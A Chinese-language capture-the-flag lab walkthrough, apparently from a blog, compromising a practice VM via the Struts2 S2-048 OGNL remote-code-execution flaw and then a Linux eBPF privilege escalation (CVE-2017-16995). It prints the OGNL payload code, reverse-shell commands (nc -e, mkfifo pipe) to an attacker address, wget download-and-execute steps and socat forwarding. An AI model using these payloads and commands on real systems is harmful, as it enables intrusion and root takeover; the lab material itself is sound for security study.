dirsearch -u http://192.168.31.246:8080 -x 404,403

没有需要的目录,但是根据提示我们可以访问/struts2_2.3.15.1-showcase

8,扫描识别网站指纹信息

whatweb -v http://192.168.31.246:8080/struts2_2.3.15.1-showcase/showcase.action

没有用,可以确定的是struts2的版本是2.3.15.1

Apache Struts 是一个开源的 Web 应用框架,最初由 Apache 软件基金会开发。它基于 MVC(模型-视图-控制器)架构,用于构建企业级的 Java Web 应用程序。Struts 提供了一套完整的解决方案,帮助开发人员简化 Web 应用的开发和维护工作。

主要特点:

  1. MVC 架构
    • 模型(Model):通常是业务逻辑层和数据层,表示应用的核心数据。
    • 视图(View):负责呈现用户界面,可以是 JSP 页面(Java Server Pages)、HTML 或其他前端技术。
    • 控制器(Controller):处理用户请求,决定使用哪个模型和视图来响应请求。Struts 的核心部分就是控制器,它是通过 ActionServlet 来实现的。
  2. 基于配置的开发
    • Struts 强调通过 XML 配置文件来定义请求和视图之间的映射关系。例如,struts-config.xml 文件用于配置应用程序的控制器、动作、视图和其他组件。
  3. 表单处理
    • Struts 提供了便捷的表单处理机制,可以自动将 HTTP 请求的参数映射到 Java 对象(如表单对象),简化了表单提交和数据验证的工作。
  4. 国际化
    • Struts 提供了内建的国际化支持,帮助开发人员轻松实现多语言支持。
  5. 扩展性和插件支持
    • Struts 是高度可扩展的,支持通过插件机制添加自定义功能。例如,开发者可以创建自定义的拦截器、标签库等。

Struts 版本:

  • Struts 1.x:最初的版本,采用传统的 Servlet/JSP 技术。随着时间的推移,开发者转向了更现代的框架,如 Spring 和 JSF,导致 Struts 1 的使用逐渐减少。
  • Struts 2.x:经过重构的版本,结合了 WebWork(另一个开源框架)的优势,提供了更灵活和更易用的功能,如更好的拦截器机制、POJO 支持和注解配置等。Struts 2 支持更多的企业级功能,并且与 Spring、Hibernate 等框架集成更为顺畅。

使用场景:

Struts 主要用于开发大型的、复杂的企业级 Web 应用程序,尤其是需要基于 MVC 架构的应用。在很多传统的 Java Web 项目中,Struts 仍然是一个常见的选择。

安全性注意事项:

由于 Struts 在过去曾经暴露过多个安全漏洞(如 CVE-2017-5638),因此在使用 Struts 构建应用程序时,必须定

期更新到最新版本,并且配置好安全措施,防止攻击者通过远程代码执行(RCE)等方式攻击应用。

9,检索该版本相关的公开漏洞利用信息(公开的漏洞网站 Apache Struts 2.3.x Showcase - Remote Code Execution - Multiple webapps Exploit

searchsploit struts | grep "Remote"

Apache Struts2 漏洞(CVE-2017-9791)exp分析

这个漏洞与 Apache Struts2 框架的 OGNL(Object-Graph Navigation Language)表达式语言的处理方式有关,攻击者可以通过构造特定的 payload 在目标服务器上执行任意命令。

分析脚本的结构

  1. 导入请求库
    import requests
    脚本使用 requests 库来发送 HTTP 请求,主要用于向目标服务器发送带有恶意 payload 的 POST 请求。
  2. exploit 函数
    def exploit(url, cmd):
        print("[+] command: %s" % cmd)
        payload = "%{"
        payload += "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)."
        payload += "(#_memberAccess?(#_memberAccess=#dm):"
        payload += "((#container=#context['com.opensymphony.xwork2.ActionCon"
        payload += "(#ognlUtil=#container.getInstance(@com.opensymphony.xwor"
        payload += "(#ognlUtil.getExcludedPackageNames().clear())."
        payload += "(#ognlUtil.getExcludedClasses().clear())."
        payload += "(#context.setMemberAccess(#dm))))."
        payload += "(@java.lang.Runtime@getRuntime().exec('%s'))" % cmd
        payload += "}"
    这个 exploit 函数生成了一个恶意的 payload,它通过 OGNL 表达式绕过 Struts2 中的安全机制,执行传递给 cmd 的命令。具体来说:
    • 使用 OGNL 表达式修改默认成员访问权限(#dm),从而允许执行一些本不应该允许的操作。
    • 设置目标容器对象的成员访问权限,进而使用 Runtime.getRuntime().exec 方法执行一个 shell 命令(cmd)。
    • cmd 参数是从外部传递的命令字符串,用户可以传递任意命令(如启动反向 shell)。
  3. 构造请求的数据
    data = {
        "name": payload,
        "age": 20,
        "__checkbox_bustedBefore": "true",
        "description": 1
    }
    这里,payload 被作为一个名为 name 的字段传递,其他字段是表单的普通数据,通常没有特别的作用。
  4. 设置请求头
    headers = {
        'Referer': 'http://127.0.0.1:8080/2.3.15.1-showcase/integration/'
    }
    设置了一个 Referer 请求头,它指定了目标服务器的参考来源地址,可能是为了绕过一些简单的防护措施或检测。
  5. 发送 POST 请求
    requests.post(url, data=data, headers=headers)
    使用 requests.post 方法将构造好的 payload 和数据以 POST 请求方式发送到目标服务器的 URL。目标服务器如果存在该漏洞,就会触发 OGNL 表达式,从而执行传递的命令。
  6. 命令行参数
    if len(sys.argv) != 3:
        print("python %s <url> <cmd>" % sys.argv[0])
        sys.exit(0)
    url = sys.argv[1]
    cmd = sys.argv[2]
    脚本要求用户提供两个命令行参数:
    • url:目标服务器的 URL。
    • cmd:要在目标服务器上执行的命令,通常用于启动反向 shell。
  7. 启动反向 shell 在脚本末尾,注释掉的部分展示了如何通过命令 ncat 启动反向 shell:
    # $ ncat -v -l -p 4444 &
    # $ python exploit_S2-048.py http://127.0.0.1:8080/2.3.15.1-showcase "ncat -e /bin/bash 127.0.0.1 4444"
    这将尝试在目标服务器上执行命令 ncat -e /bin/bash 127.0.0.1 4444,通过 ncat 启动反向 shell,连接到本地机器的 4444 端口。

潜在安全影响

  • 命令执行:由于利用了 Struts2 中的 OGNL 表达式漏洞,攻击者可以通过这种方式在目标服务器上执行任意命令。
  • 远程代码执行:攻击者可以通过这个漏洞在受害服务器上执行任意命令,包括启动反向 shell、上传恶意文件或操控服务器。

漏洞存在网页:http://192.168.31.246:8080/struts2_2.3.15.1-showcase/integration/saveGangster.action

漏洞验证效果:输入${7*7},结果直接计算出47

10,下载exp,阅读exp的使用方法

searchsploit  -m 42324.py

在代码最后两段注释可以知道使用方法

11,再通过socat设置一个端口转发,使kali的1234端口能够接受内网靶机发送的shell

socat TCP4-LISTEN:1234,reuseaddr,fork TCP4:192.168.31.250:1234 &

python 42324.py http://192.168.31.246:8080/struts2_2.3.15.1-showcase/integration/saveGangster.action "nc -e /bin/bash 192.168.56.61 1234"

发现目标服务器不支持nc -e直接使用命令

python 42324.py http://192.168.31.246:8080/struts2_2.3.15.1-showcase/integration/saveGangster.action "nc 192.168.56.61 1234"

只能使用管道符反弹shell,将给语句写入shell.sh

echo "rm /tmp/f;mkfifo /tmp/f; cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.56.61 1234 >/tmp/f" > shell.sh

远程执行命令操控内网靶机下载shell.sh

python 42324.py  http://192.168.31.246:8080/struts2_2.3.15.1-showcase/integration/saveGangster.action "wget http://192.168.56.61:1234/shell.sh -O /tmp/shell.sh"

与此同时,攻击机要开启python http模块的服务

12,RCE由此命令执行在靶机上给shell.sh文件执行权限

python 42324.py  http://192.168.31.246:8080/struts2_2.3.15.1-showcase/integration/saveGangster.action "chmod 777 /tmp/shell.sh"

然后执行shell.sh脚本

python 42324.py  http://192.168.31.246:8080/struts2_2.3.15.1-showcase/integration/saveGangster.action "sh /tmp/shell.sh"

与此同时需要打开kali linux对1234端口的监听接收shell

13,没有python的运行环境,无法启动一个可交互shell

然后再做信息收集,查看内核,操作系统,设备信息

cat /etc/lsb-release
uname -a

14,在kali攻击机上搜索有无这个linux版本的漏洞

searchsploit ubuntu 16.04

精简一下搜索内容 searchsploit ubuntu 16.04 |grep "Local"

脚本是CVE-2017-16995的公开exp

CVE-2017-16995 漏洞综合分析

1. 漏洞概述

CVE-2017-16995 是 Linux 内核中的一个本地提权漏洞,主要影响基于 eBPF(扩展伯克利包过滤器) 的系统。该漏洞允许低权限用户通过构造恶意 BPF 程序绕过内核验证机制,触发内存读写错误,最终获取 root 权限10

2. 影响范围

  • 操作系统:Ubuntu 16.04.1 至 16.04.4(官方当时未发布稳定版修复补丁)10
  • 内核版本:Linux 内核中启用 eBPF 的版本(2017年及之前的版本)10

3. 漏洞原理

  • 技术背景
    eBPF 是一种用于内核态的高效数据包过滤和事件处理机制。漏洞源于 eBPF 验证器模块在处理恶意 BPF 程序时未能正确校验计算逻辑,导致攻击者可操控内核内存,实现任意地址读写。
  • 利用条件
    攻击者需具备本地普通用户权限,通过编译并执行恶意代码触发漏洞10

4. 漏洞复现与验证

  1. 环境准备
    • 受影响的 Ubuntu 系统(如 16.04.3)。
    • 上传漏洞利用工具(如 upstream44.c)至用户目录。
  2. 编译与执行
    gcc -o upstream upstream44.c  # 编译生成可执行文件
    ./upstream                    # 执行提权操作
  3. 验证提权
    • 使用 whoami 确认当前用户变为 root。
    • 检查敏感文件权限(如 /etc/shadow)是否可访问10

5. 漏洞修复与缓解

  • 官方补丁
    后续 Linux 内核版本已修复该漏洞,建议升级至最新内核。
  • 临时缓解措施
    • 限制非特权用户执行 eBPF 程序(需修改内核参数)。
    • 监控系统日志中异常进程活动10

6. 关联风险

  • 横向移动:攻击者可结合其他漏洞(如 Struts2 RCE)获取初始访问权限,再通过此漏洞提权。
  • 持久化威胁:提权后可能植入后门、窃取敏感数据或进行横向渗透。

总结

CVE-2017-16995 暴露了 Linux 内核在 eBPF 模块设计中的安全缺陷,对未及时修补的系统构成严重威胁。建议用户及时更新内核版本,并限制低权限用户对敏感内核功能的访问。对于渗透测试人员,该漏洞是本地提权研究的重要案例,但需遵循合法授权原则。

15,考虑到靶场可能没有gcc编译器,所以就预先在kali上将exp编译好

然后kali使用python开启http服务

被控的内网靶机必须先进入到/tmp目录,再通过wget方式下载44298可执行文件

wget http://192.168.56.61:1234/44298.c

给权限执行,发现解释器的版本过低无法解释kali-linux-2024 gcc编译器编译的语言

这个错误表明你的系统中安装的 glibc(GNU C Library)版本低于程序所需的版本。具体来说,程序 ./44298 需要 GLIBC_2.34,但是系统中没有找到该版本。

解决方案:

ldd 输出显示你当前的系统使用的是 glibc 版本 2.23。这个版本的 glibc 是比较旧的(发布于 2016 年),因此它支持的 GCC 编译器版本通常也会受到一定限制。

对应的 GCC 版本

根据 glibc 2.23 的发布时间,它通常与以下版本的 GCC 兼容:

  1. GCC 4.9.x 和 5.x:glibc 2.23 是发布于 2016 年的版本,而 GCC 4.9 和 5.x 在 2016 年时是相对常见的版本,并且与 glibc 2.23 很好地兼容。很多旧版 Linux 发行版仍然使用这一组合。
  2. GCC 6.x 和 7.x:虽然 glibc 2.23 可以与较新的 GCC 版本(如 6.x 和 7.x)兼容,但有时在编译时可能会出现与库的兼容性问题或警告,尤其是在一些更复杂的编译设置中。在正常使用情况下,它通常是可行的。
  3. GCC 8.x 和更高版本:从 GCC 8.x 开始,编译器可能需要更高版本的 glibc,尤其是涉及一些新的标准库特性或优化时,glibc 2.23 可能不完全支持某些新特性。例如,GCC 8 会引入一些更高版本的标准支持和优化,可能与较旧版本的 glibc 存在某些兼容性问题。

glibc 2.23 与 GCC 的兼容性建议

  • GCC 4.9.x 到 7.x:这是 glibc 2.23 的理想匹配版本。你应该避免使用比 GCC 8 或更高版本的编译器,除非你可以确保解决所有相关的兼容性问题。
  • 对于 GCC 8 及以上:如果你必须使用 GCC 8 或更高版本,建议更新 glibc 到至少 2.27 或更高版本。这是因为较新的 GCC 版本会依赖于更现代的 glibc 特性。

安装合适版本的 GCC

如果你希望安装适合 glibc 2.23 的 GCC,可以使用以下步骤:

  1. 查看当前 GCC 版本
    gcc --version
  2. 安装较低版本的 GCC: 如果你需要安装 gcc-7 或 gcc-6,你可以使用包管理器安装(以 Ubuntu 为例):
    sudo apt update
    sudo apt install gcc-7 g++-7
  3. 设置默认 GCC 版本: 如果安装了多个版本的 gcc,你可以使用 update-alternatives 来切换默认版本:
    sudo update-alternatives --config gcc
    sudo update-alternatives --config g++

实际解决方案:

1,kali开启http服务使straylight能够下载到44298.c

2,straylight的gcc版本足够低,gcc编译44298.c为44298可执行文件

3,将44298 move到192.168.56.61的/var/www/html目录下

4,在Neuromancer上通过wget从192.168.56.61的网站根路径下下载44298.c

5,最终成为root用户,成功拿到flag


http://www.kler.cn/a/562642.html

相关文章:

  • 构建GraphRAG图数据检索知识库搜索图数据(含源代码)
  • 【后端】微服务架构
  • 主从同步延迟过高?阿里云助力优化读写分离数据库
  • 蓝桥杯刷题-dp-线性dp(守望者的逃离,摆花,线段)
  • [回顾]从原型链视角解读Vue底层实现Vue VueCompoent VM VC关系
  • 【R安装包报错】在conda环境下用R语言命令安装R包报错
  • Git 版本控制器:从零入门到实战配置(2025 最新版)
  • 小智机器人CMakeLists编译文件解析
  • 基于SpringBoot的“古城景区管理系统”的设计与实现(源码+数据库+文档+PPT)
  • comfy SDXL_EcomID_ComfyUI 节点地址
  • windows中kafka集群部署示例
  • Orange 开源项目 - 集成百度智能云-千帆大模型
  • Spring boot中的@ConfigurationProperties注解
  • 危化品经营单位安全管理人员的职责及注意事项
  • windows本地升级npm
  • Ranorex 截图功能对UI测试有哪些优势
  • 如何在WordPress网站中查看移动版本—快速预览与自定义设置
  • 常用的HTML meta标签有哪些
  • UE5 Computer Shader学习笔记
  • Dashboard-frps